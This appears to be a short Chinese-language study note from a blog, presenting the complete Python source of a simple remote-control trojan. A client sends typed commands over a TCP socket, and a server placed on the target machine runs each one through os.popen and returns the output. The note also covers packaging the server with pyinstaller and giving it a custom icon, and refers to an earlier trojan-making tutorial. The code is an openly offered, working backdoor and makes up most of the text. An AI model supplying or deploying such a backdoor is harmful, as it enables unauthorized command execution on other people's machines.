就是个利用套接字的过程,做个学习笔记用
msf.py
做控制端来用,serAddress的第一个参数位填写目标靶机的ip地址,第二个参数位是目标靶机的端口号。当然一个成型完善的木马肯定是一个自触发自动获取ip的过程,实现原理也很简单。
server.py
做服务端用,放在靶机里面运行就ok,由于python是跨平台的语言,所以不存才无法运行的情况。
运行情况
控制端通过套接字的tcpsocket.send(sendcmd.encode(‘utf-8’))命令,将命令传入,服务端用accept()方法接收控制端传来的指令。然后创建一个cmd变量装起来。os可以执行系统命令,将cmd里面的内容执行。返回的内容,再传回控制端。
python打包命令
先装 pyinstaller库 pip install pyinstaller
还可以指定ico文件,做一个图标。具体命令网上自查。我以前的文章中有一篇关于CS制作木马并打包的教程。
贴一下代码吧,免得以后代码丢了
#client
#控制端
from socket import *
tcpsocket =socket(AF_INET,SOCK_STREAM)
serAddress=('',12345)
tcpsocket.connect(serAddress)
while True:
sendcmd=input("msf>>")
if len(sendcmd)>0:
tcpsocket.send(sendcmd.encode('utf-8'))
else:
break
#接收执行后的结果
recv=tcpsocket.recv(4096)
print(recv.decode('utf8'))
#close
tcpsocket.close()
服务端
# encoding: utf-8
# server:放在靶机-木马
#gui-dos-cmd
import os
from socket import *
#创建连接tcp
#IPV4 和 tcp进行通讯
qq=socket(AF_INET,SOCK_STREAM)
#绑定主机IP
address=("",12345)
qq.bind(address)
qq.listen(5)
while True:
pass
newsct,clientsct=qq.accept()
while True:
cmd=newsct.recv(4096)
#判断cmd是否有没有内容
if len(cmd)>0:
print("console:"+cmd.decode("utf-8"))
#以下可以做控制操作
res=os.popen(cmd.decode("utf-8"),'r')
newsct.send(res.read().encode("utf-8"))
res.close()
else:
break
newsct.close()
PS:仅做个人学习用途,欢迎各位师傅指点。